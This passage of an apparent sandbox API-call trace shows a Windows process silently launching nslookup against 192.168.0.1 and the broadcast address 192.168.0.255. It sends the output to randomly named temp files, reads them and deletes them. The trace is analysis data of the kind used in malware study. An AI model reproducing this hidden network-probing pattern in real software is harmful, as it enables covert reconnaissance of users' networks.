lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x53f6a4*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x150, hStdError=0x148), lpProcessInformation=0x53f670 | out: lpCommandLine="C:\\Windows\\system32\\\\nslookup.exe 192.168.0.1", lpProcessInformation=0x53f670*(hProcess=0x14c, hThread=0x144, dwProcessId=0xb28, dwThreadId=0xb2c)) returned 1 [0045.929] NtClose (Handle=0x144) returned 0x0 [0045.929] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0xea60) returned 0x0 [0049.236] NtClose (Handle=0x150) returned 0x0 [0049.238] NtClose (Handle=0x148) returned 0x0 [0049.238] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90ebf8 [0049.238] GetFileAttributesExW (in: lpFileName="C:\\Windows\\TEMP\\QyAFEF.tmp" (normalized: "c:\\windows\\temp\\qyafef.tmp"), fInfoLevelId=0x0, lpFileInformation=0x53f5bc | out: lpFileInformation=0x53f5bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ff00b70, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x2ff00b70, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x324f0a10, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x2b)) returned 1 [0049.239] CreateFileW (lpFileName="C:\\Windows\\TEMP\\QyAFEF.tmp" (normalized: "c:\\windows\\temp\\qyafef.tmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x148 [0049.239] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x53f600, lpLastWriteTime=0x53f600) returned 0 [0049.239] GetFileSize (in: hFile=0x148, lpFileSizeHigh=0x53f5ec | out: lpFileSizeHigh=0x53f5ec*=0x0) returned 0x2b [0049.239] SetFilePointer (in: hFile=0x148, lDistanceToMove=0, lpDistanceToMoveHigh=0x53f5f8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x53f5f8*=0) returned 0x0 [0049.239] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219de0 [0049.239] ReadFile (in: hFile=0x148, lpBuffer=0x2219de0, nNumberOfBytesToRead=0x2b, lpNumberOfBytesRead=0x53f62c, lpOverlapped=0x0 | out: lpBuffer=0x2219de0*, lpNumberOfBytesRead=0x53f62c*=0x2b, lpOverlapped=0x0) returned 1 [0049.239] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22199a8 [0049.239] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219de0) returned 1 [0049.239] NtClose (Handle=0x148) returned 0x0 [0049.239] GetFileAttributesExW (in: lpFileName="C:\\Windows\\TEMP\\QyAFEF.tmp" (normalized: "c:\\windows\\temp\\qyafef.tmp"), fInfoLevelId=0x0, lpFileInformation=0x53f5fc | out: lpFileInformation=0x53f5fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ff00b70, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x2ff00b70, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x324f0a10, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x2b)) returned 1 [0049.239] SetFileAttributesW (lpFileName="C:\\Windows\\TEMP\\QyAFEF.tmp", dwFileAttributes=0x80) returned 1 [0049.240] DeleteFileW (lpFileName="C:\\Windows\\TEMP\\QyAFEF.tmp" (normalized: "c:\\windows\\temp\\qyafef.tmp")) returned 1 [0049.241] GetFileAttributesExW (in: lpFileName="C:\\Windows\\TEMP\\HFAFF0.tmp" (normalized: "c:\\windows\\temp\\hfaff0.tmp"), fInfoLevelId=0x0, lpFileInformation=0x53f5fc | out: lpFileInformation=0x53f5fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ff00b70, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x2ff00b70, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x324f0a10, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x3a)) returned 1 [0049.241] SetFileAttributesW (lpFileName="C:\\Windows\\TEMP\\HFAFF0.tmp", dwFileAttributes=0x80) returned 1 [0049.241] DeleteFileW (lpFileName="C:\\Windows\\TEMP\\HFAFF0.tmp" (normalized: "c:\\windows\\temp\\hfaff0.tmp")) returned 1 [0049.242] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219de0 [0049.242] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22199a8) returned 1 [0049.242] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90ebf8) returned 1 [0049.242] NtClose (Handle=0x14c) returned 0x0 [0049.242] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2214900) returned 1 [0049.242] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22144f8) returned 1 [0049.242] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22199a8 [0049.242] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22199a8) returned 1 [0049.242] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219de0) returned 1 [0049.242] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219de0 [0049.242] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x10) returned 0x90d630 [0049.242] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d3f8 [0049.242] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22199a8 [0049.242] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219de0) returned 1 [0049.242] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219de0 [0049.242] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d4b8 [0049.242] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219888 [0049.242] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219de0) returned 1 [0049.242] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219de0 [0049.242] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d4c8 [0049.242] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219e28 [0049.242] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219de0) returned 1 [0049.242] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d468 [0049.242] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219de0 [0049.242] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x10) returned 0x90d660 [0049.243] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d328 [0049.243] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219d98 [0049.243] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d318 [0049.243] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219960 [0049.243] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d578 [0049.243] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219840 [0049.243] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d258 [0049.243] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22197f8 [0049.243] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22199a8) returned 1 [0049.243] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d3f8) returned 1 [0049.243] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219888) returned 1 [0049.243] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d4b8) returned 1 [0049.243] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219e28) returned 1 [0049.243] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d4c8) returned 1 [0049.243] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219de0) returned 1 [0049.243] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d468) returned 1 [0049.243] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d630) returned 1 [0049.243] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219a38) returned 1 [0049.243] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d358) returned 1 [0049.243] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219a80) returned 1 [0049.243] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d368) returned 1 [0049.243] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219ac8) returned 1 [0049.243] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d378) returned 1 [0049.243] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219b10) returned 1 [0049.243] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d388) returned 1 [0049.243] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219b58) returned 1 [0049.243] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d398) returned 1 [0049.243] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219ba0) returned 1 [0049.243] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d3a8) returned 1 [0049.243] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219be8) returned 1 [0049.243] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d3b8) returned 1 [0049.243] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219c30) returned 1 [0049.243] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d3c8) returned 1 [0049.244] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219c78) returned 1 [0049.244] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d3d8) returned 1 [0049.244] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bc08) returned 1 [0049.244] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x10) returned 0x90d630 [0049.244] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d3d8 [0049.244] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219c78 [0049.244] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d3c8 [0049.244] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219c30 [0049.244] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d3b8 [0049.244] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219be8 [0049.244] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d3a8 [0049.244] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219ba0 [0049.244] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219d98) returned 1 [0049.244] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d328) returned 1 [0049.244] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219960) returned 1 [0049.244] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d318) returned 1 [0049.244] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219840) returned 1 [0049.244] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d578) returned 1 [0049.244] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22197f8) returned 1 [0049.244] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d258) returned 1 [0049.244] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d660) returned 1 [0049.244] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22197f8 [0049.244] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22197f8) returned 1 [0049.244] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22197f8 [0049.244] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22197f8) returned 1 [0049.244] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22197f8 [0049.244] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22197f8) returned 1 [0049.244] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22197f8 [0049.244] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22197f8) returned 1 [0049.244] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2219918, cbMultiByte=13, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 13 [0049.244] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90ebf8 [0049.244] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2219918, cbMultiByte=13, lpWideCharStr=0x90ebf8, cchWideChar=13 | out: lpWideCharStr="192.168.0.255") returned 13 [0049.245] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90eb70 [0049.245] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90ebf8) returned 1 [0049.245] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90eb70) returned 1 [0049.245] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90eb70 [0049.245] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x400) returned 0x22140f0 [0049.245] CryptAcquireContextW (in: phProv=0x53f5b4, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x53f5b4*=0x743fa0) returned 1 [0049.247] CryptGenRandom (in: hProv=0x743fa0, dwLen=0x4, pbBuffer=0x53f5c8 | out: pbBuffer=0x53f5c8) returned 1 [0049.247] CryptReleaseContext (hProv=0x743fa0, dwFlags=0x0) returned 1 [0049.247] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90ebf8 [0049.247] CryptAcquireContextW (in: phProv=0x53f5b0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x53f5b0*=0x743fa0) returned 1 [0049.247] CryptGenRandom (in: hProv=0x743fa0, dwLen=0x4, pbBuffer=0x53f5c4 | out: pbBuffer=0x53f5c4) returned 1 [0049.248] CryptReleaseContext (hProv=0x743fa0, dwFlags=0x0) returned 1 [0049.248] CryptAcquireContextW (in: phProv=0x53f5b0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x53f5b0*=0x743fa0) returned 1 [0049.248] CryptGenRandom (in: hProv=0x743fa0, dwLen=0x4, pbBuffer=0x53f5c4 | out: pbBuffer=0x53f5c4) returned 1 [0049.248] CryptReleaseContext (hProv=0x743fa0, dwFlags=0x0) returned 1 [0049.248] CryptAcquireContextW (in: phProv=0x53f5b0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x53f5b0*=0x743fa0) returned 1 [0049.249] CryptGenRandom (in: hProv=0x743fa0, dwLen=0x4, pbBuffer=0x53f5c4 | out: pbBuffer=0x53f5c4) returned 1 [0049.249] CryptReleaseContext (hProv=0x743fa0, dwFlags=0x0) returned 1 [0049.249] GetTempFileNameW (in: lpPathName="C:\\Windows\\TEMP\\", lpPrefixString="5D", uUnique=0x0, lpTempFileName=0x22140f0 | out: lpTempFileName="C:\\Windows\\TEMP\\5DBF8B.tmp" (normalized: "c:\\windows\\temp\\5dbf8b.tmp")) returned 0xbf8b [0049.250] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90ebf8) returned 1 [0049.250] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x400) returned 0x22144f8 [0049.250] GetShortPathNameW (in: lpszLongPath="C:\\Windows\\TEMP\\5DBF8B.tmp", lpszShortPath=0x22144f8, cchBuffer=0x100 | out: lpszShortPath="C:\\Windows\\TEMP\\5DBF8B.tmp") returned 0x1a [0049.250] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22140f0) returned 1 [0049.250] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90eb70) returned 1 [0049.250] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90eb70 [0049.250] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x400) returned 0x22140f0 [0049.250] CryptAcquireContextW (in: phProv=0x53f5b4, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x53f5b4*=0x743fa0) returned 1 [0049.251] CryptGenRandom (in: hProv=0x743fa0, dwLen=0x4, pbBuffer=0x53f5c8 | out: pbBuffer=0x53f5c8) returned 1 [0049.251] CryptReleaseContext (hProv=0x743fa0, dwFlags=0x0) returned 1 [0049.251] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90ebf8 [0049.251] CryptAcquireContextW (in: phProv=0x53f5b0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x53f5b0*=0x743fa0) returned 1 [0049.252] CryptGenRandom (in: hProv=0x743fa0, dwLen=0x4, pbBuffer=0x53f5c4 | out: pbBuffer=0x53f5c4) returned 1 [0049.252] CryptReleaseContext (hProv=0x743fa0, dwFlags=0x0) returned 1 [0049.252] GetTempFileNameW (in: lpPathName="C:\\Windows\\TEMP\\", lpPrefixString="r", uUnique=0x0, lpTempFileName=0x22140f0 | out: lpTempFileName="C:\\Windows\\TEMP\\rBF8C.tmp" (normalized: "c:\\windows\\temp\\rbf8c.tmp")) returned 0xbf8c [0049.252] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90ebf8) returned 1 [0049.252] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x400) returned 0x2214900 [0049.253] GetShortPathNameW (in: lpszLongPath="C:\\Windows\\TEMP\\rBF8C.tmp", lpszShortPath=0x2214900, cchBuffer=0x100 | out: lpszShortPath="C:\\Windows\\TEMP\\rBF8C.tmp") returned 0x19 [0049.253] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22140f0) returned 1 [0049.253] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90eb70) returned 1 [0049.253] CreateFileW (lpFileName="C:\\Windows\\TEMP\\5DBF8B.tmp" (normalized: "c:\\windows\\temp\\5dbf8b.tmp"), dwDesiredAccess=0x4, dwShareMode=0x3, lpSecurityAttributes=0x53f664, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c [0049.253] CreateFileW (lpFileName="C:\\Windows\\TEMP\\rBF8C.tmp" (normalized: "c:\\windows\\temp\\rbf8c.tmp"), dwDesiredAccess=0x4, dwShareMode=0x3, lpSecurityAttributes=0x53f664, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x148 [0049.253] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\\\nslookup.exe", lpCommandLine="C:\\Windows\\system32\\\\nslookup.exe 192.168.0.255", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x53f6a4*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x14c, hStdError=0x148), lpProcessInformation=0x53f670 | out: lpCommandLine="C:\\Windows\\system32\\\\nslookup.exe 192.168.0.255", lpProcessInformation=0x53f670*(hProcess=0x144, hThread=0x150, dwProcessId=0xb50, dwThreadId=0xb54)) returned 1 [0049.257] NtClose (Handle=0x150) returned 0x0 [0049.257] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0xea60) returned 0x0 [0050.199] NtClose (Handle=0x14c) returned 0x0 [0050.199] NtClose (Handle=0x148) returned 0x0 [0050.200] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90eb70 [0050.200] GetFileAttributesExW (in: lpFileName="C:\\Windows\\TEMP\\5DBF8B.tmp" (normalized: "c:\\windows\\temp\\5dbf8b.tmp"), fInfoLevelId=0x0, lpFileInformation=0x53f5bc | out: lpFileInformation=0x53f5bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32516b70, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x32516b70, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x32e29f50, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x2b)) returned 1 [0050.200] CreateFileW (lpFileName="C:\\Windows\\TEMP\\5DBF8B.tmp" (normalized: "c:\\windows\\temp\\5dbf8b.tmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x148 [0050.200] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x53f600, lpLastWriteTime=0x53f600) returned 0 [0050.201] GetFileSize (in: hFile=0x148, lpFileSizeHigh=0x53f5ec | out: lpFileSizeHigh=0x53f5ec*=0x0) returned 0x2b [0050.201] SetFilePointer (in: hFile=0x148, lDistanceToMove=0, lpDistanceToMoveHigh=0x53f5f8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x53f5f8*=0) returned 0x0 [0050.201] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22197f8 [0050.201] ReadFile (in: hFile=0x148, lpBuffer=0x22197f8, nNumberOfBytesToRead=0x2b, lpNumberOfBytesRead=0x53f62c, lpOverlapped=0x0 | out: lpBuffer=0x22197f8*, lpNumberOfBytesRead=0x53f62c*=0x2b, lpOverlapped=0x0) returned 1 [0050.201] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219840 [0050.201] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22197f8) returned 1 [0050.201] NtClose (Handle=0x148) returned 0x0 [0050.201] GetFileAttributesExW (in: lpFileName="C:\\Windows\\TEMP\\5DBF8B.tmp" (normalized: "c:\\windows\\temp\\5dbf8b.tmp"), fInfoLevelId=0x0, lpFileInformation=0x53f5fc | out: lpFileInformation=0x53f5fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32516b70, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x32516b70, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x32e29f50, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x2b)) returned 1 [0050.201] SetFileAttributesW (lpFileName="C:\\Windows\\TEMP\\5DBF8B.tmp", dwFileAttributes=0x80) returned 1 [0050.201] DeleteFileW (lpFileName="C:\\Windows\\TEMP\\5DBF8B.tmp" (normalized: "c:\\windows\\temp\\5dbf8b.tmp")) returned 1 [0050.202] GetFileAttributesExW (in: lpFileName="C:\\Windows\\TEMP\\rBF8C.tmp" (normalized: "c:\\windows\\temp\\rbf8c.tmp"), fInfoLevelId=0x0, lpFileInformation=0x53f5fc | out: lpFileInformation=0x53f5fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32516b70, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x32516b70, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x32e29f50, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x3c)) returned 1 [0050.202] SetFileAttributesW (lpFileName="C:\\Windows\\TEMP\\rBF8C.tmp", dwFileAttributes=0x80) returned 1 [0050.202] DeleteFileW (lpFileName="C:\\Windows\\TEMP\\rBF8C.tmp" (normalized: "c:\\windows\\temp\\rbf8c.tmp")) returned 1 [0050.203] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22197f8 [0050.203] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219840) returned 1 [0050.203] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90eb70) returned 1 [0050.203] NtClose (Handle=0x144) returned 0x0 [0050.203] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2214900) returned 1 [0050.203] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22144f8) returned 1 [0050.203] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219840 [0050.203] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219840) returned 1 [0050.203] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22197f8) returned 1 [0050.203] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22197f8 [0050.204] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x10) returned 0x90d660 [0050.204] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d258 [0050.204] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219840 [0050.204] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22197f8) returned 1 [0050.204] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22197f8 [0050.204] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d578 [0050.204] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219960 [0050.204] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22197f8) returned 1 [0050.204] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22197f8 [0050.204] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d318 [0050.204] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219d98 [0050.204] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22197f8) returned 1 [0050.204] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d328 [0050.204] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22197f8 [0050.204] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x10) returned 0x90d648 [0050.204] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d398 [0050.204] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219b58 [0050.204] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d388 [0050.204] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219b10 [0050.204] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 